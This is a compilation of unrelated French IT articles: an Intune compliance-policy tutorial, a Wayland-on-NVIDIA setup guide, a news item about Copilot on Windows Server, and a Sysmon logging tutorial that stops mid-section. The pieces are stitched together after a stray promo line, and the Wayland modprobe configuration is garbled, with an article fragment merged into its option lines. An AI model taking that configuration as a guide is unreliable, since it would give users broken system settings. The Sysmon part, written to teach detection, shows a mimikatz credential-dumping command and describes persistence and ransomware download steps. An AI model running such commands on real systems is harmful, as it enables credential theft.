Vous devez saisir ce code dans votre panier, sur Amazon.fr. Voici le lien qui mène à l'offre :
Dans ce tutoriel, nous allons aborder la notion de "Stratégies de conformité" dans Microsoft Intune. Qu'est-ce qu'une stratégie de conformité ? Quel est l'intérêt d'une stratégie de conformité ? Comment configurer une stratégie de conformité Windows dans Intune ? Cet article répondra à ces différentes questions.
II. Qu'est-ce qu'une stratégie de conformité Intune ?
Une stratégie de conformité Intune va permettre à une entreprise de s'assurer que tous les appareils utilisés par les employés respectent les règles de base en matière de sécurité.
Par exemple, nous allons pouvoir nous assurer que le pare-feu est actif sur Windows et qu'il y a bien une protection antivirus opérationnelle. Si ce n'est pas le cas, nous allons recevoir une alerte et il sera possible de limiter les tentatives d’accès effectués à partir de cet appareil non conforme.
La stratégie de conformité est d'autant plus intéressante lorsqu'elle est couplée avec les stratégies d'accès conditionnel puisque nous pourrons accorder une autorisation d'accès uniquement si l'appareil respecte sa stratégie de conformité. Ce qui permet de bloquer les connexions à partir d'un appareil non conforme.
Dans la suite de cet article, nous allons apprendre à configurer les paramètres généraux de cette fonctionnalité, avant de configurer les paramètres de notifications et de créer une stratégie de conformité Intune.
Cette stratégie de conformité Windows aura pour objectif de vérifier les points suivants :
Pare-feu Windows Defender actif
Module TPM actif
Antivirus actif
Logiciel anti-espion et logiciel anti-malware actifs
Protection en temps réel active
Nous pourrions ajouter d'autres conditions comme la vérification du Secure Boot, l'état de BitLocker, etc.
III. Stratégies de conformité : paramètres généraux
Nous allons commencer par configurer les paramètres de stratégie de conformité au niveau du tenant Microsoft 365. Autrement dit, il s'agit de paramètres communs à l'ensemble des appareils, des utilisateurs et des stratégies.
Connectez-vous au centre d'administration Microsoft Intune. Voici un lien direct si besoin :
Ensuite, cliquez sur "Appareils" puis sur "Conformité" afin de pouvoir cliquer sur le bouton "Paramètres de conformité". Vous pouvez aussi passer par "Sécurité du point de terminaison", "Conformité de l'appareil" puis "Paramètres de conformité".
Ici, nous allons retrouver deux paramètres importants :
Nous allons configurer ces deux options :
Marquer les appareils sans stratégie de conformité comme étant, et nous allons passer l'option sur "Non conforme". Ainsi, nous partons du principe qu'un appareil n'est pas conforme : nous ne faisons pas confiance à l'appareil avant qu'il soit analysé.
Période de validité de l'état de conformité (jours), et nous allons indiquer "30" ce qui signifie qu'un appareil identifié comme conforme bénéficiera de ce statut pendant 30 jours.
Il est à noter que la période de compliance peut être comprise entre 1 et 120 jours.
Une fois les paramètres définis, cliquez sur "Enregistrer".
IV. Stratégies de conformité : notifications
La seconde étape consiste à configurer le système de notifications, ce qui permettra notamment de recevoir un e-mail lorsqu'un appareil non conforme sera détecté. Toujours sous "Conformité", basculez sur l'onglet "Notifications" puis cliquez sur "Créer une notification".
Donnez un nom à ce modèle de notification, par exemple "Notification de base - Compliance". Ensuite, nous avons plusieurs options de base pour personnaliser l'e-mail, notamment dans le but d'intégrer des éléments permettant d'identifier votre entreprise (un logo, par exemple). Cette interface ne permettra pas de choisir un logo ou de configurer les valeurs des autres options.
Pour visualiser les valeurs attribuées à ces options, vous devez accéder aux paramètres de personnalisation du tenant. Suivez la procédure suivante :
1 - Cliquez sur "Administration de locataire".
2 - Cliquez sur "Personnalisation".
3 - Cliquez sur "Modifier".
Ensuite, il ne vous reste plus qu'à configurer les différentes options telles que le nom de l'organisation, le logo, etc...
Quand ce sera fait, retournez dans l'assistant de création d'une notification afin de passer à la seconde étape. Vous devez choisir la langue, et définir l'objet de l'e-mail ("Appareil non conforme", par exemple) ainsi que le corps du message (certaines balises HTML sont prises en charge). Puisqu'il s'agit du premier modèle de notifications, nous allons le définir par défaut.
Pour personnaliser le message avec des valeurs dynamiques (le nom de l'utilisateur ou de l'appareil, par exemple), vous pouvez utiliser "des variables", comme décrit dans cette page de la documentation Microsoft.
Ce qui donne :
Passez à l'étape "Vérifier + créer" afin de passer en revue votre paramétrage et cliquez sur "Créer".
Voilà, votre modèle de notification est créé !
V. Créer une stratégie de conformité Intune
Nous allons créer une stratégie de conformité pour définir les critères que doit respecter un appareil afin d'être considéré comme conforme. Cette fois-ci, basculez sur l'onglet "Stratégies" et cliquez sur "Créer une stratégie". À cet emplacement, vous avez également accès à l'onglet "Scripts" qui permet de créer des scripts PowerShell pour de la "mise en conformité sur-mesure" puisque c'est votre script qui va faire l'évaluation (nous pouvons imaginer un script PowerShell pour vérifier l'espace disque restant sur le volume système).
Un panneau latéral apparait sur la droite. Choisissez la plateforme "Windows 10 et ultérieur" et poursuivez. Ceci vous donne l'occasion de constater que cette fonctionnalité n'est pas limitée à Windows.
Bienvenue dans l'assistant de création d'une stratégie de conformité Intune !
Commencez par donner un nom à cette stratégie et indiquez une description. La description s'avère utile pour donner quelques indications sur le contenu de cette stratégie.
La section "Conformité personnalisée" sert à créer vos propres règles contenues dans un fichier JSON généré à partir d'un script PowerShell. Cette méthode est décrite dans la documentation Microsoft, sur cette page.
Descendez dans la page... Nous allons pouvoir exiger la vérification de certains éléments en jouant sur les options présentes dans chaque section : Intégrité de l'appareil, Propriétés de l'appareil, etc...
Commencez par la section "Intégrité de l'appareil" qui présente l'avantage de permettre de vérifier la configuration de BitLocker, du démarrage sécurisé et l'intégrité du code sur la machine Windows. Avant d'activer la vérification BitLocker, il convient de créer une stratégie de configuration de BitLocker.
La section "Propriétés de l'appareil" sert à vérifier la version du système d'exploitation Windows. Ainsi, vous pourriez considérer qu'un appareil qui exécute une version de Windows 10 qui n'est plus sous support, n'est pas conforme. Pour obtenir les numéros de version, vous pouvez vous référer à la documentation Microsoft, notamment ce lien :
Par ailleurs, vous pouvez aussi utiliser la commande "winver" sur un appareil puisqu'elle retourne un numéro de build. Toutefois, méfiez-vous avec les numéros de version, vous devez utiliser ce format : 10.0.X.X. Ainsi, pour la build "22631.2715", nous devons préciser la valeur suivante : 10.0.22631.2715.
Ce numéro de version correspond à Windows 11 23H2 avec les mises à jour de novembre 2023, ce qui signifie que l'on peut cibler une version majeure et un niveau de mise à jour des machines. Pour Windows 11 23H2 avec les mises à jour d'avril 2024, la valeur à utiliser est légèrement différente dû à la différence de niveau de mise à jour : 10.0.22631.3447.
Voici un exemple :
La section "Conformité de Configuration Manager" s'adresse aux personnes en co-gestion avec (System Center) Configuration Manager.
Le volet "Sécurité système" s'adresse aux administrateurs qui souhaitent effectuer des vérifications sur la configuration et l'utilisation des mots de passe sur un appareil. À la fin de la section, il y a tout de même des paramètres que nous allons activer pour vérifier l'état du pare-feu, du module TPM, de l'antivirus, et du logiciel anti-espion.
Puis, un peu plus bas, nous allons pouvoir activer certains contrôles liés à Defender :
Vous avez aussi un paramètre spécifique à "Microsoft Defender for Endpoint" pour vérifier le niveau de risque d'un appareil. C'est très intéressant pour les entreprises équipées avec cette solution sur leur appareil Windows.
Passez à l'étape "Actions en cas de non conformité". Ici, nous allons créer plusieurs règles :
Marquer l'appareil comme non conforme immédiatement.
Envoyer un e-mail à l'utilisateur final (grâce à notre modèle de notifications précédemment créé !) - L'administrateur aura aussi l'e-mail.
Ajouter un appareil à la liste des mises hors service 20 jours après la non-conformité. Ceci est facultatif, mais permet d'ajouter l'appareil à la liste "Mettre hors service les appareils non conformes". Lorsqu'un administrateur retire un appareil de cette liste, ceci enclenche la suppression de toutes les données de l'entreprise de l'appareil et le retire de la gestion Intune. A utiliser avec précaution.
Remarque : pour certains appareils, notamment sous Android, macOS, iOS et iPadOS, il est possible de verrouiller l'appareil à distance s'il n'est pas conforme. Ceci correspond à la fonction Remote Lock.
Pour finir, l'étape "Affectations" que l'on a l'habitude de croiser dans les assistants Intune se présente à l'écran. L'objectif étant d'affecter cette stratégie de conformité à un groupe d'appareils, comme ici le groupe "PC_Corporate".
Attention : n'oubliez pas que nous avons activé une option au niveau du tenant pour déclarer non conformes tous les appareils sans stratégie de conformité. S'il s'agit de votre stratégie de conformité de base, vous pouvez l'appliquer directement à tous les appareils.
Révisez votre configuration et cliquez sur le bouton "Créer" pour finaliser la création de la stratégie de conformité.
Voilà, la stratégie de conformité va être déployée sur les appareils qui rentrent dans le périmètre de l'affectation.
VI. Suivre l'état des appareils
Suite au déploiement de cette stratégie, les appareils sont analysés via la stratégie de conformité et un état s'affiche directement dans la colonne "Compatibilité" de la liste des appareils inscrits dans Intune. Ici, nous pouvons voir que l'appareil "PC-ITC-01" n'est pas conforme.
Si nous cliquons sur cet appareil, nous pouvons obtenir des précisions. Nous voyons bien qu'il ne respecte pas notre politique.
En fait, le détail de l'analyse nous montre que le pare-feu de la machine est dans un état "non conforme". En effet, sur cet appareil, le pare-feu Windows est désactivé.
Dans le même temps, une notification par e-mail a été envoyée ! Cette notification reprend bien les éléments configurés dans notre modèle de notifications et dans les paramètres de personnalisation (textes, logo, etc.).
Désormais, il va falloir faire le nécessaire pour qu'il soit de nouveau conforme...!
VII. Conclusion
Suite à la lecture de ce tutoriel, vous êtes en mesure de créer votre première stratégie de conformité Intune pour vos appareils Windows. Avant de modifier les paramètres au niveau du tenant, effectuez une première stratégie de conformité afin de la tester sur quelques appareils de votre parc informatique.
Xorg et Wayland sont deux protocoles graphiques utilisés dans les systèmes d’exploitation Unix-like, principalement sur les distributions Linux, pour gérer l’affichage graphique et les interactions avec l’utilisateur.
La plupart des distributions Linux utilisent par défaut Xorg. Toutefois, lorsque vous installez les pilotes NVIDIA propriétaires ou pour différentes raisons, le gestionnaire de fenêtres peut être Xorg.
Voici comment passer de Xorg à Wayland notamment sur Ubuntu et Debian.
Comment passer sur Wayland dans Linux
Par défaut, Ubuntu utilise Wayland. Toutefois dans le cas où les pilotes propriétaires de NVIDIA sont installés sur Ubuntu, ce dernier repasse sous Xorg (X11). Cela fonctionne sur Ubuntu 22.04 ou Ubuntu 23.10. Veuillez noter que Ubuntu 24.04 LTS devrait être par défaut sur Wayland même si les pilotes NVIDIA propriétaires sont installés.
Voici comment activer Wayland avec les pilotes NVIDIA sur Linux :
Avant de passer sur Wayland, si vous avez une carte graphique NVIDIA, je vous conseille d’installer les pilotes version 550, cela règle beaucoup de problème. Suivez ce guide : Installer les pilotes NVIDIA sur Ubuntu (propriétaire)
Installez la librairies d’implémentation en cours d’une bibliothèque EGL (Embedded-System Graphics Library) pour la plate-forme externe pour Wayland :
sudo apt install libnvidia-egl-wayland1
Puis éditez le fichier de configuration GRUB :
sudo nano /etc/default/grub
Repérez la ligne GRUB_CMDLINE_LINUX et éditez pour ajouter la configuration suivante :
GRUB_CMDLINE_LINUX="nvidia-drm.modeset=1"
Puis mettez à jour la configuration GRUB :
sudo update-grub
Pour que l’hibernation et mise en veille prolongée fonctionne correctement, il faut activer certaines options. Toutefois le fichier de configuration peut être différents d’une distribution Linux à l’autre
Sur Ubuntu, éditez le fichier /etc/modprobe.d/nvidia-graphics-drivers-kms.conf
Sur Debian, modifiez le fichier /etc/modprobe.d/nvidia-power-management.conf
options nvidia NVreg_PreserveVideoMemoryAllocations=1 NVreg_TemporaryFilePath=/tmp/tmp-nvidia options nvidia-drm modeset=1 'article sur les problèmes rencontrés options nvidia NVreg_UsePageAttributeTable=1 options nvidia NVreg_RegistryDwords="OverrideMaxPerf=0x1"
Redémarrez l’ordinateur pour prendre en compte les modifications
sudo reboot
Sur l’écran de verrouillage, cliquez sur l’utilisateur
Puis en bas à droite, cliquez sur l’icône roue crantée puis sélectionnez Wayland (ici il s’agit de l’écran de verrouillage d’Ubuntu)
Pour vérifier que le bureau de Linux est bien en Wayland :
echo $XDG_SESSION_TYPE
Si Wayland n’apparaît pas dans la liste, suivez le paragraphe suivant pour l’activer.
Le display manager de GNOME (GDM) donne la possibilité de choisir le gestionnaire de fenêtres que vous pouvez utiliser.Vous pouvez très bien activer ou désactiver Wayland dans GNOME. Voici comment faire :
Éditez le fichier de configuration de GDM :
sudo nano /etc/gdm3/custom.conf
Pour forcer l’activation de Wayland dans gnome, positionnez l’option suivante sur True
WaylandEnable=true
Pour forcer la désactivation de Wayland :
WaylandEnable=false
Puis relancez GDM :
sudo systemctl restart gdm3
Vous devriez pouvoir choisir Wayland au démarrage de la session GNOME
Pourquoi passer de X11 à Wayland
Plusieurs raisons peuvent vous pousser à utiliser Wayland à la place de Xorg. Premièrement, Xorg n’est plus maintenu et vous expose à des problèmes de sécurité. Ce dernier étant un projet de 1980. Wayland a été lancé afin de proposer un gestionnaire de fenêtre plus moderne, notamment Wayland élimine le modèle client-serveur et permet aux applications d’interagir directement avec le serveur d’affichage. De plus, Wayland est projet actif, il propose des fonctionnalités qui n’existent pas sur X11. Dans mon cas, les performances sont vraiment meilleures sur Wayland, l’affichage est beaucoup plus réactif. C’est aussi le cas dans les jeux.
Quels sont les problèmes connus entre Wayland et les pilotes propriétaires NVIDIA
Le support de Wayland n’est pas encore totale, de plus certaines technologies ne sont pas encore supportés. Ainsi, des bugs existent.
Les fenêtres en plein écran des jeux et applications rencontrent des problèmes d’affichage. Certaines parties de la fenêtre sont noires, contiennent des artefacts, clignotements ou encore des bandes horizontales passent de haut en bas révélant un problème de rafraîchissement. Il existe une discussion à ce sujet : https://gitlab.freedesktop.org/xorg/xserver/-/issues/1317 Vous pouvez tenter d’ajouter MUTTER_DEBUG_FORCE_EGL_STREAM=1 dans /etc/environment et relancez la session GNOME. Toutefois, il faut savoir que cela risque de poser des problèmes de chargement des jeux mais surtout provoquer des baisses de performances. Dans mon cas, la mise à jour des pilotes NVIDIA en 550 a réglé le problème.
De plus, j’ai rencontré des erreurs suivantes qui semblent être à l’origine de freez :
[drm:nv_drm_atomic_commit [nvidia_drm]] ERROR [nvidia-drm] [GPU ID 0x00000 100] Flip event timeout on head 0
D’où la désactivation de fbdev (framebuffer Device – toujours en expérimental) depuis /etc/modprobe.d/nvidia-graphics-drivers-kms.conf :
options nvidia-drm.fbdev=0
En outre, la fréquence adaptative de l’écran (VRR/GSync) n’est pas encore tout à fait disponible. Les pilotes NVIDIA propriétaires supportent la fonctionnalité depuis la version 545. Toutefois, ce n’est pas encore le cas des gestionnaire de fenêtres. Par exemple, Gsync est en expérimentale sur la version 46 de GNOME (disponible à partir d’Ubuntu 24.04). La documentation ArchLinux en parle : https://wiki.archlinux.org/title/Variable_refresh_rate#Limitations
Par erreur, Microsoft a déployé la nouvelle application Copilot, correspondante à son IA, sur Windows Server ! Ceci est lié à une mise à jour du navigateur Microsoft Edge. Voici ce qu'il faut savoir !
Si vous utilisez Windows Server 2022 et que vous avez constaté la présence d'une nouvelle application nommée "Microsoft Copilot" dans la liste des programmes installés, sachez que vous n'êtes pas seul. Au-delà de son nom, elle est facilement identifiable grâce à son logo désormais utilisé un peu partout par Microsoft. De plus, sa taille est surprenante : seulement 8 Ko.
Que se passe-t-il ? Tout a commencé par l'introduction de "Copilot" dans les versions "Preview" de Windows Server 2025. En effet, depuis plusieurs mois, nous avons accès à des versions de Windows Server 2025 qui donnent un aperçu des nouveautés à venir et des changements opérés par Microsoft.
S'il y a bien un changement qui n'a pas plus, c'est l'ajout de l'IA "Microsoft Copilot" à Windows Server 2025. Suite aux nombreuses réactions négatives, Microsoft a pris la décision de retirer Copilot de Windows Server 2025. Mais, alors, comment cette application est-elle arrivée sur Windows Server 2022 ?
Microsoft Copilot ajouté par une mise à jour du navigateur Edge
Sur la page de son site destinée à évoquer "les problèmes connus", Microsoft s'est expliqué : "Les mises à jour de la version 123.0.2420.65 du navigateur Edge, publiées à partir du 28 mars 2024, peuvent installer de manière incorrecte un nouveau package (MSIX) appelé "Microsoft chat provider for Copilot in Windows" sur les appareils Windows. En conséquence, l'application Microsoft Copilot peut apparaître dans les applications installées dans le menu Paramètres." - Ceci affecte Windows Server, ainsi que Windows 10 et Windows 11.
Autrement dit, ceci ne correspond pas à l'ajout complet de Microsoft Copilot à Windows Server 2022, et cela ne permet pas d'utiliser l'IA directement depuis la barre des tâches du serveur. "Il est important de noter que le fournisseur de chat Microsoft pour Copilot dans Windows n'exécute aucun code ou processus, et n'acquiert, n'analyse ou ne transmet aucune donnée relative à l'appareil ou à l'environnement à quelque titre que ce soit.", précise Microsoft, afin de rassurer ses clients.
Cette application vise à préparer l'activation future de Microsoft Copilot sur certains appareils Windows, dont les serveurs Windows Server ne devraient pas faire partie. Désormais, l'entreprise américaine cherche une solution pour supprimer cette application : "Nous travaillons sur une solution et fournirons une mise à jour dans une prochaine version de Microsoft Edge."
Dans cet article, nous allons nous intéresser à Sysmon, un outil qui permet une meilleure journalisation des évènements de sécurité système sous Windows. Il s'agit d'un élément indispensable pour une surveillance efficace des évènements de sécurité.
Nous allons notamment voir que les évènements Windows par défaut ne permettent pas d'avoir une détection très précise des activités systèmes et des attaques telles qu'elles sont opérées aujourd'hui, et comment Sysmon permet d'améliorer cette détection.
Nous verrons également comment l'installer et le configurer à l'aide de modèles de configuration proposés par la communauté, et analyserons ensuite concrètement les journaux produits par Sysmon.
II. Sysmon : qu'est ce que c'est ?
Sysmon (pour System monitor) est à la fois un service et un driver fournit dans le package SysInternals de Microsoft. Il vise à améliorer la journalisation des évènements Windows avec un focus sur la journalisation des évènements de sécurité système. Il s'agit plus d'un outil de détection que de prévention, dans le sens où il permet une meilleure journalisation des évènements, mais ne permet pas à lui seul de bloquer des activités malveillantes.
Depuis Sysmon 14, Microsoft a revu sa stratégie concernant Sysmon. Celui-ci peut maintenant bloquer des exécutables malveillants ("FileBlockExecutable") ainsi que la suppression de fichiers via certains outils ("FileBlockShredding"). Cette protection n'est cependant pas parfaite et ne remplace par une solution dédiée (EPP/EDR).
Pour être plus clair, voici une partie de la liste des évènements que Sysmon peut surveiller et journaliser :
Création de processus
Modification de l'heure de création d'un fichier
Connexion réseau
Modification de l'état du service Sysmon
Fin d'un processus
Chargement de pilote
Chargement d'image (injection de DLL)
Evènement CreateRemoteThread (création d'un thread par un processus)
Evènement RawAccessRead
Requête DNS
ProcessTampering
etc.
Tous ces évènements peuvent paraitre très (trop) précis pour être intéressants. Mais, tous correspondent à des attaques et modes opératoires bien identifiés et connus des attaquants. Sysmon permet alors de retracer bien plus précisément que les logs par défaut une activité malveillante sur un système.
En plus de journaliser ces évènements clés pour surveiller l'activité d'un système, il inclut plusieurs éléments importants du point de vue des équipes de sécurité et relatifs au contexte de l'évènement :
les condensats (ou hash) des images des processus lancés
les GUID des processus (facilite la corrélation des évènements)
des informations précises sur les connexions réseau (processus source, adresse IP, numéro de port, etc.)
Integrity Level du processus
des informations relatives aux métadonnées des processus (signature, auteur, description)
etc.
Ces différents éléments facilitent également l'investigation numérique ainsi que la recherche et corrélation d'évènements, par exemple, grâce aux IOC (Indicators of compromise) publiés par la communauté ou une équipe interne de Threat Intelligence (adresse IP, nom DNS, hash d'un binaire, etc). Rien de mieux qu'un exemple pour illustrer cela. Comparons la journalisation de l'évènement "Création d'un processus" entre les logs par défaut Windows et les journaux créés par Sysmon (cliquez sur l'image pour zoomer) :
Comparaison entre l'évènement par défaut de Windows et celui de Sysmon concernant la création d'un nouveau processus :
L'eventID 1 (à droite de l'image) créé par Sysmon est beaucoup plus verbeux en contenu technique. Il fournit plus d'informations de contexte autour de l'exécution du processus. Ces informations vont notamment grandement faciliter la recherche et la détection d'activité malveillante qui ont lieu sur le système.
Il faut savoir que l'intérêt de Sysmon est aussi la journalisation d'évènements qui ne sont pas du tout journalisés par Windows (au contraire de la création d'un processus, qui est le cas le plus simple pour exposer les capacités de Sysmon). Nous verrons ensuite que, grâce à la configuration que nous allons utiliser, les TTP (Tactics, Techniques and Procedures) relatifs à tel ou tel évènement journalisé sont aussi indiqués. Nous comprenons donc bien ici que l'intérêt de Sysmon est d'avoir des logs plus précis, orientés autour d'évènements de sécurité très importants sur un système d'exploitation et facilitant la détection et l'investigation numérique.
Enfin, comme tout élément capable de générer des journaux d'évènement, la puissance Sysmon est décuplée si ces évènements sont centralisés et analysés par une plateforme de type SIEM (ELK, Splunk, etc.) et traités par un SOC (Security Operation Center).
Le code source de Sysmon est public et peut être consulté librement. Ainsi, vous pouvez découvrir précisément comment il fonctionne : Github - Sysinternals/SysmonCommon
III. Logs Windows : quelques trous dans la raquette
Les journaux d'évènements Windows peuvent paraitre complexes au premier abord. D'apparence, ils sont assez verbeux et consultables à travers un outil de visualisation/recherche peu efficace ("Observateur d'évènements"). Il est difficile de trouver exactement ce que l'on cherche si l'on n'y est pas familier.
Également, la politique d'audit par défaut de Windows passe sous silence des évènements importants de l'activité sur le système. Pour illustrer ce constat, intéressons-nous aux journaux produits durant trois étapes d'attaque d'un système. Pour faciliter cette analyse, j'ai créé un filtre de journalisation dans l'Observateur d'évènements qui centralise tous les Event ID, peu importe leur source :
Création d'un filtre permettant de voir tous les évènements Windows.
Admettons qu'en tant qu'attaquant, j'exécute le binaire "mimikatz64.exe" :
.\mimikatz64.exe
Par défaut, cette activité n'est pas journalisée comme nous le montre "auditpol.exe" :
Visualisation de l'état de la stratégie d'audit par défaut Windows concernant la "création du processus".
Evènement 4688 concernant la création d'un processus mimikatz64.exe
La moindre des choses que l'on puisse dire est que cet évènement est peu verbeux. Les seuls éléments concrets dont nous disposons sont : le nom de compte ayant exécuté la commande, le nom du processus créateur et le nom du processus. Par exemple, le simple fait de renommer "mimikatz64.exe" en "itconnect.exe" suffit à contourner l'un des principaux éléments sur lequel une détection serait possible (le nom du processus) :
Evènement 4688 concernant l'exécution d'un mimikatz renommé.
Dans un second temps, je décide d'ajouter un moyen de persistance en modifiant le contenu de la clé de registre "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run". Cette clé de registre est utilisée pour lancer des binaires au démarrage (voir Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder). Il s'agit d'un moyen de persistance très connu et souvent utilisé par les attaquants, qui leur permet d'avoir une connexion vers leur serveur C2 (Command & Control) dès le démarrage du système compromis :
J'utilise ensuite la CmdLet PowerShell "Get-EventLog" pour récupérer les évènements 4657 – A Registry Value Was Modified relatifs à la modification d'une clé de registre :
À nouveau, aucun évènement n'est journalisé par défaut sous Windows lors de la modification des clés de registre. Enfin, je vais initialiser une connexion réseau vers un serveur malveillant afin de récupérer un ransomware :
Absence de journaux de sécurité relatifs au téléchargement d'un exécutable.
À nouveau, aucun évènement journalisé.
Comment nous le voyons à travers cet exemple, les journaux d'évènements produits par Windows par défaut ne sont pas suffisants pour tracer exactement le déroulement de mon attaque et de mon activité sur le système. Par défaut, ils ne sont pas tous activés et lorsqu'ils le sont, leur contenu n'est pas assez détaillé pour une investigation numérique efficace.
Autrement dit, si vous subissez une cyberattaque et que, par chance, vos journaux d'évènements sont préservés (externalisation, centralisation, voire sauvegarde), ceux-ci ne seront pas suffisants pour que l'équipe d'investigation numérique ou de remédiation puisse vous dire précisément ce qu'il s'est passé, par où est passé l'attaquant, quelles ont été ses actions, etc.
IV. Déploiement de Sysmon
A. Installer Sysmon de façon classique
Nous allons à présent voir comment installer Sysmon sur un système Windows (serveur ou client, la procédure est la même). Pour acquérir la dernière version de Sysmon, il faut le télécharger depuis le site de Microsoft : SysInternals - Sysmon.
Attention à bien télécharger le binaire depuis le site de Microsoft, et nulle part ailleurs.
Une fois que ce binaire est téléchargé, décompressé et présent sur notre système cible, nous allons ouvrir une Invite de commande en tant qu'administrateur, puis exécuter le binaire avec l'option "-i" :
.\Sysmon64.exe -i -accepteula
Voici la sortie attendue :
Installation de Sysmon sur un système WIndows.
L'installation de Sysmon64 entraine notamment la création d'un service "Sysmon64" et l'installation d'un driver "SysmonDrv", dont le rôle est de capturer les évènements de sécurité côté kernel. Le driver échange notamment avec les API Windows et exploite l'Event Tracing for Windows (ETW) pour capturer les informations sur les actions qu'il souhaite surveiller.
Il est important de noter que l'installation de Sysmon est permanente, son service et son driver seront toujours présents et actifs après un redémarrage. Il peut toutefois être désinstallé simplement.
Le driver permet notamment à Sysmon d'utiliser des callbacks, aussi appellés hooks (crochet), sur des fonctions clés du système d'exploitation. Lorsqu'une fonction surveillée est invoquée, le callback associé au driver Sysmon est déclenché. À ce moment-là, Sysmon peut collecter des informations pertinentes sur l'événement en cours, telles que les détails du processus impliqué, les arguments de la fonction, les fichiers accédés, etc. Ces informations sont ensuite journalisées. On retrouve cette mécanique sur la plupart des services type EPP/EDR aujourd'hui.
Aucun redémarrage n'est nécessaire, en vous rendant dans le "Gestionnaire de tâches" puis dans "Services", vous devriez voir le service "Sysmon64" en cours d'exécution :
Présence du service "Sysmon64" dans la liste des services du Gestionnaire des tâches.
Vous noterez également qu'il est impossible d'arrêter ce service en tant qu'administrateur :
Tentative d'arrêt du service "Sysmon64" en tant qu'administrateur via le Gestionnaire des tâches.
Cela est dû à une protection mise en place par Windows sur ce service : le Protected ProcessLight. Cette protection est notamment chargée de vérifier l'intégrité du code pour s'assurer que seul le code "vérifié" et "de confiance" est chargé dans le processus protégé. Ainsi, il ne peut être pris pour cible d'une injection de code ou de DLL et personne ne peut toucher à ce processus :
Vue de la protection PPL du processus "Sysmon64.exe" via "ProcessHacker".
Grâce à cette protection, il sera plus difficile pour l'attaquant d'altérer le fonctionnement de ce processus en vue de mettre fin à la journalisation de ses actions.
Sysmon s'installe par défaut avec une configuration qui permet de journaliser certains évènements. Cette configuration par défaut peut être consultée via l'option "-s" :
.\Sysmon64.exe -s
Voici le résultat attendu :
Visualisation de la configuration par défaut de "Sysmon".
Comme vous pouvez le voir, il s'agit d'une configuration au format XML. Celle-ci permet de définir les évènements à journaliser, leur Event ID et leur contenu. Exemple avec la journalisation de la création d'un processus :
Configuration par défaut pour l'évènement "1 - Create process" de Sysmon.
Ici, nous voyons dans un premier temps la définition de l'event ID avec son nom et son ID ("1"). Les sections précédentes de cet article contiennent déjà un exemple d'évènement créé via cette règle, vous pourrez donc voir les champs déclarés par la configuration dans cet évènement. Par défaut, la journalisation de cet évènement est activée ("ruledefaut=include"). Ce qui n'est pas le cas de tous les évènements, exemple avec l'évènement "11 - Process Create" :
Configuration par défaut pour l'évènement "11 - File create" de Sysmon.
Ainsi, avec la configuration par défaut, vous ne constaterez aucun évènement avec l'ID 11 dans vos logs. Nous voyons ici qu'il faut savoir lire et comprendre cette configuration, au risque de ne pas être assez précis dans notre journalisation.
Pour visualiser les logs, ouvrez l'Observateur d'évènements, puis rendez-vous dans "Journaux des applications et des services" > "Microsoft" > "Windows" > "Sysmon".
Accès aux journaux Sysmon dans l'observateur d'évènement Windows.
En fonction de la configuration en place (pour l'instant, celle par défaut), vous verrez dès à présent différents évènements journalisés.
B. Installation discrète de Sysmon
Les attaquants les plus avancés vont toujours commencer par regarder quels sont les composants de sécurité en place sur un système avant de tenter d'aller plus loin dans leur compromission. Il s'agit d'une phase de prise d'information très classique, par exemple :
Est-ce qu'un EPP (Endpoint Protection) est en place ? Ils peuvent pour cela regarder la liste des processus en cours d'exécution à la recherche de nom d'agents EPP connus (Trellix, Symantec, Sophos, etc.)
Est-ce que Microsoft Defender est actif ? Si oui, quelle est sa configuration ? Contient-elle des exclusions intéressantes ? Sa base antivirale est-elle à jour ?
Les journaux d'évènements sont-ils envoyés sur un autre système ? Ce qui serait le signal qu'un SIEM, voire un SOC peut enregistrer et voir son activité malveillante. L'attaquant peut pour cela regarder les processus et services actifs à la recherche d'agent de transmission de log connus, ou encore les connexions établies visant des ports connus, etc.
Est-ce que Sysmon est installé ? Quelle est sa configuration ? Contient-elle des exclusions intéressantes ?
La réponse à ces questions permet à l'attaquant d'avoir une idée du niveau de discrétion dont il doit faire preuve pour ses prochaines opérations sur le système ou le réseau.
Cependant, Sysmon donne la possibilité aux administrateurs de dissimuler sa présence, notamment en modifiant le nom du driver et du service lorsqu'il s'exécute. Par défaut, comme nous l'avons vu, nous pouvons voir un service "Sysmon64" actif dans la liste des services en cours d'exécution :
VIsualisation du service "Sysmon64" dans le gestionnaire des tâches.
Lors de la phase d'installation, Sysmon propose l'option "-d" pour permettre de donner un nom arbitraire au driver Sysmon (limité à 8 caractères). Quant au nom du service, il est déterminé par le nom du binaire exécuté lors de l'installation. Il nous suffit donc de le modifier avant installation :
Renommage puis installé de "Sysmon" avec un nom de driver personnalisé.
Une fois cette opération effectuée, il sera plus difficile pour l'attaquant de détecter la présence de Sysmon sur le système :
Présence du service "Sysmon" renommé dans le Gestionnaire des tâches.
Sur l'image ci-dessus, le processus Sysmon apparait bien comme "ITCProc". Dès lors, pour gérer le service Sysmon et par exemple, récupérer sa configuration actuelle, il faudra utiliser le binaire nommé "ITCProc.exe", l'utilisation de "Sysmon64.exe" ne fonctionnera plus.
Attention, cette méthode est une dissimulation et il existe d'autres moyens de détecter la présence du driver Sysmon (notamment via son altitude identifier).
V. Configuration de Sysmon
A. Récupération et étude d'une configuration XML Sysmon
À présent, nous allons configurer Sysmon pour qu'il journalise les évènements qui nous intéressent. La configuration par défaut est un bon départ, mais vous allez voir qu'il est possible d'aller beaucoup plus loin assez simplement.
Nous allons notamment nous baser sur des configurations connues et éprouvées créées par la communauté de la cybersécurité. La configuration la plus connue est celle proposée par SwiftOnSecurity, consultable et téléchargeable ici : Github - SwiftOnSecurity :
Extrait de la configuration Sysmon proposée par "SwitfOnSecurity".
Cette configuration comporte plusieurs intérêts :
Elle est éprouvée par la communauté et sa pertinence est reconnue. Vous pouvez notamment jeter un œil à son historique de modification Github.
Elle est documentée, même si la lecture de son contenu peut être difficile à cause du format XML, elle contient différents commentaires permettant de comprendre ses principales sections, exclusions
Elle est bien structurée, ce qui permet une compréhension et une modification aisée. Elle peut ainsi servir de base à une configuration propre à vos besoins et environnements
Elle contient des cas d'exclusions permettant d'éliminer les faux positifs "classiques" sur les OS Windows, facilitant ainsi l'exploitation des journaux créés par Sysmon.
Elle apporte des éléments de contexte supplémentaires sur chaque Event ID tels que les TTP du MITRE relatif à une action malveillante journalisée.
